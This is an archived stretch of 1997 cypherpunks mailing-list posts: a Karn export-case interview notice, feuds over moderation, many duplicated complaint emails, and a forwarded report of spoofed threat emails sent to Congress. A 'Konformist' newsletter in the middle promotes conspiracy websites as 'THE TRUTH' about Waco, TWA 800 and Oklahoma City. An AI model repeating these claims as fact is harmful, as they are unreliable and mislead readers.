	Ken Bass (counsel for Phil Karn)
	interviewed live on "Real Time"
***

>> *** Monday, Feb. 10  ***  <<   Note the date correction
   *** 9:00 PM ET       ***

Ken Bass is a partner in the firm of Venable, Baetjer, Howard & Civiletti,
LLP, and is the head of that firm's Appellate Practice Group.  Recently
Venable served as counsel to Phil Karn during his dispute with the
Department of State concerning export of a diskette containing the source
code for cryptographic algorithms published in the book _Applied_
_Cryptography_, having already received permission to export the book. 

See http://isptv.digex.net/real.time.html for more information about "Real
Time" 

Call-in questions will be taken during the show at (301) 847-6571. 

****

This video interview can be viewed on the ISP-TV main CU-SeeMe reflector
at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at
http://isptv.digex.net/members.html. 

See URL http://isptv.digex.net for more information about the ISP-TV
Network

To get email about future programming on ISP-TV, email the word
"subscribe" to isptv-prog-request@isptv.digex.net. 

To obtain Enhanced CU-SeeMe software, go to:

	http://goliath.wpine.com/cudownload.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 06:26:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Who's Censoring Who?
Message-ID: <199702111426.GAA19804@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy's e-mailed several of us who've sent messages about Vulis's
ploy to put Sandy in a conflict-of-interest bind -- a well-known attack 
on moderators of all kinds, not just on the net. 

What's worth admiring is how Vulis has adeptly managed to get others
 -- targets and witting and unwitting cohorts -- to go along with his attack, 
attack, attack, by opposing or supporting it. A useful lesson.

Smart dude, that Vulis, but no more so than others on the Net, say, Tim
May, and in the world who've done the same elsewhere, maybe 
by even smarter dude(s) who provoked, angered, insulted, an unwitting 
Vulis, or May, to attack on behalf of ... 

But such deception is to be expected, along with feigned suprise and
outrage at the unfairness of opponents fighting as dirty as one's own
pure-blackhearts.

Sandy's not censoring cypherpunks, nor is Vulis or May or any single 
person alone. As Pogo said, it's all of us, posters and lurkers and spooks, 
each trying to get one's way to prevail, under guise of a high principle not 
easily honored when the squeeze is on alone in a dark cell. Come on out
Sandy, it was just a drill.

It's probably worth saving accusations of censorship for the real thing, 
after trial usage here for what is truly nasty high-stakes global info-war 
gaming.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 11 Feb 1997 06:26:06 -0800 (PST)
To: bdolan@USIT.NET
Subject: Re: RRE: Proposed satellite monitoring of car movements in Sweden
Message-ID: <199702111426.GAA19743@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"bdolan@USIT.NET"  "Brad Dolan"  9-FEB-1997 10:35:16.85

>"Love it or leave it?"

>On Sun, 9 Feb 1997, Phil Agre wrote:

>> You have plenty of choice.  If you don't like our country, move somewhere
>> else.

	I made the point back to Dr. Agre that I can't choose to live in
_no_ country (at least not practically), but I can (except for state-imposed
limits) live without automobile insurance. I already do so for credit cards,
except for one I use only in emergencies.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Tue, 11 Feb 1997 06:27:26 -0800 (PST)
Subject: The Konformist Takes Care Of The Stray Dogs
Message-ID: <199702111427.GAA20000@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Note: Either you requested to receive a subscription to 
this e-mail, or someone else recommended you to be placed on 
this list.  If you are interested in a free subscription, 
please e-mail Robalini@aol.com with the subject: I NEED TO 
KONFORM.  (Okay, you can use something else, but it's a 
cool catch phrase.)  Please e-mail me back with subject: 
CANCEL KONFORMIST if you're not interested in receiving 
this.  Thanks, Robert Sterling.

I figure this is a good time to pass info and thanks.

>From Evan Soule:
O.K.  Here is is. I recently discovered the location of this site(s).

I do not explicitly know who created it, and in this regard it is a rather
mysterious site as you may also find:

The Sites:  http://www.freedom-server.co.uk/Essays.html
            http://www.freedom-server.co.uk/Contents.html
            http://www.freedom-server.co.uk/Glossary.html
            http://www.freedom-server.co.uk/index.html

Robalini's Note: for a good collection of Libertarian essays, this is a good
place to go.


From: pentiumpower@internetx.net (pentiumpower)

SURF ANONYMOUSLY --> http://www.anonymizer.com

WACO-THE TRUTH-DON'T PASS THIS UP! --> 
http://206.55.8.10/SkyWriter/WacoMuseum
TWA 800-THE TRUTH --> http://www.erols.com/igoddard/twa-fact.htm
OKC/WTC-THE TRUTH --> http://www.erols.com/igoddard/facts.htm
GWS & LOTS MORE-THE TRUTH --> http://www.cco.net/~trufax
My page --> http://www.geocities.com/CapitolHill/3101/

Robalini's Note: All of these, are, in my book, A++ sites.


>From my wacky Uncle Markie (who was a Deadhead before all the
Starbuck-quaffing trendies jumped on the bandwagon), proving interest in this
stuff is genetically linked:

http://www.alienmap.com/

Here are two sites I haven't checked yet, but come highly recommended:

haigt asbury
http://www.webcom.com/haight
?
http://www.mk.net/~mcf

Then there is Parascope, at http://www.parascope.com.  I didn't mention it
before, since, on AOL, I don't access it by the web.  I was a little
skeptical when it started (would AOL really have a good site that bucks the
waves), but they've shown they are their own bosses.  For general conspiracy
info and the like, it is right up there with Jonathon Vankin's and John
Whalen's 50 Greatest Conspiracies of All Time site.

And, last but not least:

Lisa Pease
www.webcom.com/lpease

Yeah, I've mentioned it before, but I've gotten a few emails thanking me for
mentioning her site.  No surprise: I found out about it from her postings on
the Alt.conspiracy.JFK newsgroup, where she shows herself to be one of the
few really good writers on the web.

And now, some special other thanks.

First, to Claire Gilbert, Publisher of "Blazing Tattles", which originated as
an investigation on the burning oil and Gulf War Syndrome.  It now
specializes in investigations of health related matters.  She sent me a free
copy, and it was good enough for me to subscribe, with articles on the
benefits of the Zone Diet, the dangers of margarine, and more GWS news.  You
can reach "Blazing Tattles" for more info at:

 Claire W. Gilbert, Ph.D., Publisher, Blazing Tattles
           P.O. Box 1073, Half Moon Bay, CA 94019, USA
                       Phone: 415-712-0772
   Email: <blazing@crl.com>     FAX: 415-712-8547 (call first)

To Kenn Thomas at Steamshovel Press, which is a great model for any
underground magazine.  Issue 15 came out recently, with, among other things,
a great article on the Nation of Islam's connections to neo-Nazi group, a
book excerpt of Thomas and Jim Keith's book "The Octopus", a look in on other
theories of the cause of AIDS, and a wonderful interview with the late great
Timothy Leary.  Mr. Thomas has been a great supporter of mine, and I really
appreciate it.  For info, email him at:

skthoma@umslvma.umsl.edu

Deep River Books in Santa Monica is the best little book store you will ever
find.  It has books the corporate store, with their gazillion book titles,
won't dare touch.  The owner is a real cool dude.  You can reach them at
(310) 451-1224, or by email or web at:
dpriver@leonardo.net
http://www.leonardo,net/deepriver/index.html

Also, my pal (and business partner), Scott Rose.  You can reach him at his
vanity-plate named site at:
Scott@ScottWorld.Com
In the L.A. area, Scott is the premier Filemaker Database maker, bar none
(though I often help him out.)  Email him, or call him at (213) 954-1978 for
details.  (Scott, you owe me a dinner for this.)

And, as many of the readers of the Konformist are libertarians, I mention the
best libertarian commentator on the web, bar none:  L. Neil Smith.  He wrote
the Lando Calrissian Star Wars book trilogy (which I'm currently reading),
and his fiction is even better than his non-fiction.  You can reach the guy
at:

boardman@blackhole.dimensional.com

Special thanks to Alex Constantine and Adam Parfrey for continued
correspondance and support.  Feral House Press has an incredible collection
of books.  You can reach Adam at Feral Press at:

feralhouse@aol.com

Other thanks to:
FAIR (Fairness and Accuracy in Media)
fair@igc.apc.org

The Church of the Subgenius and Grand Master Ivan Stang:
i.stang@metronet.com

MindNet Journal for its positive feedback and reporting on mind control and
brainwashing experiments:
MindNet@c2.org 

James Pinkerton, who proves that not all L.A. Time commentators are mindless
robots:
pinkerto@ix.netcom.com

Robert Parry at the Consortium.  I bet he's embarrassed to discover this, but
his investigations into dirty deeds of the Reagan-Bush years has been quite
an influence on this magazine:
rparry@ix.netcom.com

Douglas Rushkoff, for taking it in stride when I called him an asshole:
rushkoff@interport.net

Rodney Stitch, author of the top-notch expose "Defrauding America" which did
all the busy work on the intelligence-mafia link to drugs and banking
scandals, links which don't end in the good old USA.

stitch@defraudingamerica.com

And finally, though they have no product, Paul Watson and Howlin' Blue of
Texas for giving me info a commie-leftist Clinton supporter like myself would
never find.  Thanks, dudes.

I probably have forgotten a billion people.  If so, sorry, I'll be doing this
every now and then.  Thanks, and good luck.

Robert Sterling,
Editor, The Konformist
************************************************************ 
The Konformist is interested in accepting articles, 
opinions, free subscriptions, and advertising.  E-mail us at 
Robalini@aol.com, or call (310) 967-4195. 

The Konformist is a subsidiary of Sterling Operation 
Solutions, the trouble-shooting problem-solvers for all 
business needs.  We charge on a sliding scale based on the 
difficulty (and legality) of the proposed solution.  Call 
(310) 967-4195 for further information. 

Hey kids, don't forget to enter the "Rockin' To Armageddon 
Sweepstakes", sponsored by The Konformist, the Official 
Internet Investigative Journal of the 1997 Academy Awards.
(Okay, it's not official, but we're anti-authority 
anyways.)  Right down the day, month, year, and time of the
end of the world, and, as a tie-breaker, your nominee for the
anti-Christ.  The winner will receive a t-shirt stating, "I Came
Closest To Predicting The Apocalypse, And All I Got Was 
This Crummy T-Shirt."  You will also receive a free one 
year supply of Twix candy bars. 

Also, this is a free magazine, but we'll still take your 
money if you want.  Please send cash, check, money orders, 
and credit card numbers (Visa, Master Card, American 
Express, or Discover) to: 
 
Robert Sterling 
Post Office Box 24825 
Los Angeles, California 90024-0825





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 11 Feb 1997 06:27:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: ComLaw> URGENT!! SET UP IN PROGRESS!! (fwd)
Message-ID: <199702111427.GAA19975@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm forwarding this from the commonlaw list because of the usage of the 
name, "cypherpunks."


>Date: Mon, 10 Feb 1997 00:50:48 +0100 (NFT)
>From: Slater <slater@ts.umu.se>
>To: commonlaw@teleport.com
>Subject: ComLaw> URGENT!!  SET UP IN PROGRESS!! (fwd)
>Sender: owner-commonlaw@teleport.com
>
>
>---------- Forwarded message ----------
>Date: Mon, 10 Feb 1997 00:46:40 GMT
>From: Linda Thompson <lindat@iquest.net>
>To: aen-news@aen.org
>Cc: robert@iquest.net
>Subject: URGENT!!  SET UP IN PROGRESS!!
>
>This morning near 3:00 a.m., somebody sent messages to ALL the Senate and
>House members, putting *MY* email name and address on them, and another set,
>putting *AL'S* email name and address on them, threatening to delete all the
>House and Senate files (whatever THAT means), saying:
>
>"All files on the Senate's computers will be deleted by our
>gang of cypherpunks dedicated to the eradication of your systems."
>
>[The one to the House members was the same, except the word "Senate" was
>"House."]
>
>Some of the messages had bad addresses, though, so they bounced to us, since
>whoever the real sender was had put our names as the "sender," which is how
>we found out about it.
>
>This looks like someone could be really intending to do something to the
>House/Senate computers and they are obviously trying to lay it at our feet.
>
>Is there legislation pending somewhere that somebody needed a so-called
>"terrorist threat" to get it passed ??!!
>
>I have a 1 meg file of the messages we got and the messages we sent out to
>our service provider and to the Secret Service I would appreciate if people
>would be willing to store for safe keeping.
>
>Can anyone make the file available for FTP?  We don't have an FTP site.
>
>We are definitely being set up.
>
>
>
>
>Kind regards,
>
>Linda Thompson
>
>********************  V  ***************************
>  DEATH TO THE NEW WORLD ORDER 
>***************************************************
>Dr. Linda Thompson
>Attorney at Law
>Chairman, American Justice Federation
>Internet:  lindat@iquest.net
>
>****************************************************
>       Remember Waco.
>  The Murderers are still free.
>**************************************************** 
>Have you seen this yet?
>
>    http://206.55.8.10/SkyWriter/WacoMuseum
>
>
>
>
>
Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:27:39 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111427.GAA20018@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Return-Path: <autoresponder@WhiteHouse.gov>
Received: from WhiteHouse.gov (whitehouse.gov [198.137.241.30])
	by falcon.inetnebr.com (8.8.5/8.8.5) with ESMTP id TAA05593
	for <scndsun@inetnebr.com>; Sun, 9 Feb 1997 19:25:39 -0600 (CST)
From: autoresponder@WhiteHouse.gov
Received: (from uucp@localhost) by WhiteHouse.gov (8.7.1/uucp-relay) id
UAA01520; Sun, 9 Feb 1997 20:24:32 -0500 (EST)
Date: Sun, 9 Feb 1997 20:24:32 -0500 (EST)
Message-Id: <199702100124.UAA01520@WhiteHouse.gov>
X-AutoReplying-To: scndsun@inetnebr.com
Subject: Re: message to USSA House of Representatives
To: scndsun@inetnebr.com
X-UIDL: f16144392bbe54c5667860b9458f5526

    Thank you for writing to President Clinton via electronic
mail.  Since June, 1993, whitehouse.gov has received over one
million messages from people across the country and around the
world.  

    Because so many of you write, the President cannot
personally review each message.  The mail is first read by White
House Correspondence staff.  Your concerns, ideas, and
suggestions are carefully recorded and communicated to the
President weekly with a representative sampling of the mail.

     We are excited about the progress of online communication as
a tool to bring government and the people closer together.  Your
continued interest and participation are very important to that
goal.

                       Sincerely,

                       Stephen K. Horn
                       Director, Presidential Email
                       The Office of Correspondence

P.S. Please read on - you may find the following information
useful.

--  This is the only electronic message you will receive from
whitehouse.gov.  No other message purporting to be from the
President or his staff with an address at whitehouse.gov is
authentic.  If you have received such a message, you have been
spoofed.

--  You will receive only one autoresponder message per day.

--  The only personal addresses at whitehouse.gov are the
following:

    President@whitehouse.gov
    Vice.President@whitehouse.gov
    First.Lady@whitehouse.gov

Please write to Mrs. Gore and other White House staff by regular
mail.  The address is:  

     The White House, Washington, D.C. 20500.

--   On October 20, 1994, President Clinton and Vice President
Gore opened a World Wide Web home page called "Welcome to the
White House:  An Interactive Citizens' Handbook" and it remains
one of the more popular spots on the Web.  The White House
home page provides, among other things,  a single point of access
to all government information available electronically on the
Internet.  "Welcome to the White House" can be accessed at:

               http://www.whitehouse.gov

--   White House documents and publications are available on the
World Wide Web (see above) and by email.  To receive instructions
on retrieving documents by email, please send a message to the
following address:

               publications@whitehouse.gov

In the body of your message, type "Send Info" (without quotes);
do not include other text (such as message headers or
signature lines (.sig files)).  The instructions will be sent to
you automatically.

****************************************************************
List of Clinton Administration Accomplishments (three documents
compose the whole):

    To:  publications@whitehouse.gov
    Message body:      send file 317571
                       send file 317573
                       send file 317575
****************************************************************

--   The White House Public Access Email FAQ (Frequently Asked
Questions) document is available at the following address.  The
FAQ, among other things, lists alternate sources of government
information, i.e., the Congressional email projects.  Send an
email message (no text necessary) to:

               faq@whitehouse.gov

(This FAQ address is an autoresponder only; any comment sent to
this address will not be acknowledged.)



----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:26:32 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111426.GAA19840@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:27:26 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111427.GAA19999@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


You're going to have to find a way to make this junk, piss juvenile crap
stop coming into my e-mail box.  Period.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:28:17 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111428.GAA20041@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:27:22 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111427.GAA19993@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


You're giong to have to find a way to get me off of your piss-ant mailing
list.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:27:03 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111427.GAA19930@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


You're going to have to fine a way to get me off of your piss-ant mailing
list.

----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:26:41 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111426.GAA19861@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:26:48 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111426.GAA19879@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jerry Basham <scndsun@sprynet.com>
Date: Tue, 11 Feb 1997 06:29:22 -0800 (PST)
To: 2ndSun@bigfoot.com>
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111429.GAA20053@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




----------
> From: Dale Thorn <dthorn@gte.net>
> To: Jerry Basham <2ndSun@bigfoot.com>
> Cc: cypherpunks@toad.com; freedom-knights@jetcafe.org
> Subject: Re: POST: The Frightening Dangers of Moderation
> Date: Saturday, February 08, 1997 7:48 PM
> 
> Jerry Basham wrote:
> 
> > Ok...this is the fourth junk e-mail I've received that I don't want. 
Your
> > account is in jeapordy, and my advice is for you to just stop sending
me
> > this junk.  Take me off your e-mail list, NOW.
> > If this e-mail from me, being mad at you, is what makes you happy, and
is
> > how you have fun, then you just have a personal problem and I feel
sorry
> > for you.
> > Do what you can to heal yourself...meanwhile, don't send me
anymore...your
> > isp provider is next on my e-mail list.
> 
> Jerry, my provider is GTE, and if you think you can make a dent in
> them, go ahead and butt your head against the wall.  No sweat offa
> my ass.
> 
> OTOH, if you stop bitching and groaning long enough to figure out
> who is doing the remailing etc., then you'll be miles ahead.  I'm
> not optimistic.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 11 Feb 1997 06:27:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <199702111427.GAA19955@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:36 AM 2/7/97 -0800, Mike Duvos wrote:
...
>Now that a few weeks have passed, I have decided that moderation delays
>are the most annoying feature of the new experiment.  I am subscribed to 
>the unedited list under another account, and its almost instantaneous
>traffic is in great contrast to the time required for posts to trickle
>through the Sandfort-Bot. 
...
>Messages apparently do not get moderated in the order in which they 
>are received.  Some messages take a very long time, as other later
>messages pass them by and are posted to the list.  Again, I have no
>explanation for this unusual behavior.

Actually, I noticed that often times the posts were out of order when they
got to me over about two months ago.  This was probably due to my location
on the mailing list heirachy, (another reason for a distributed list).  I
also remember there being a rather lengthy delay between my posting
something to the list and it getting sent to me by toad.  (I stayed at the
computer reading other messages, erasing them and checking if any more had
been sent.  This was, is, my primary way of keeping my eudora disk from
getting clogged to the point where it won't compress.)
The problems that you describe aren't new to the list, mostly they are the
product of a long list of subscribers.  Although, manual moderation
certainly adds time between posting and turnaround.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 11 Feb 1997 06:26:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Feb. 15 Meeting (fwd)
Message-ID: <199702111426.GAA19725@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded message:




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Tue, 11 Feb 1997 06:26:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: POST: The Frightening Dangers of Moderation
Message-ID: <199702111426.GAA19741@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Jerry Basham" <scndsun@sprynet.com> writes:

> You're going to have to find a way to make this junk, piss juvenile crap
> stop coming into my e-mail box.  Period.

I don't think this guy is for real... No one's that stupid.
Must be another Gilmore tentacle.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 06:27:19 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: Who's Censoring Who?
Message-ID: <199702111427.GAA19982@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:

> Sandy's e-mailed several of us who've sent messages about Vulis's
> ploy to put Sandy in a conflict-of-interest bind -- a well-known attack
> on moderators of all kinds, not just on the net.

Now you've admitted that Sandy, ever more desperate, is grasping
for allies for some future attack.  And you've accused Dr. Vulis
of plotting against Sandy.  Tsk tsk.

> What's worth admiring is how Vulis has adeptly managed to get others
>  -- targets and witting and unwitting cohorts -- to go along with his attack,
> attack, attack, by opposing or supporting it. A useful lesson.

This is not the healthy kind of paranoia.

> Smart dude, that Vulis, but no more so than others on the Net, say,
> Tim May, and in the world who've done the same elsewhere, maybe
> by even smarter dude(s) who provoked, angered, insulted, an unwitting
> Vulis, or May, to attack on behalf of ...

Tim May in the same breath as Dr. Vulis?  I underestimated the level
of desperation here.

> But such deception is to be expected, along with feigned suprise and
> outrage at the unfairness of opponents fighting as dirty as one's own
> pure-blackhearts.

Neither I nor (I'm certain) Dr. Vulis are surprised by any of this.
Who were you referring to?

> Sandy's not censoring cypherpunks, nor is Vulis or May or any single
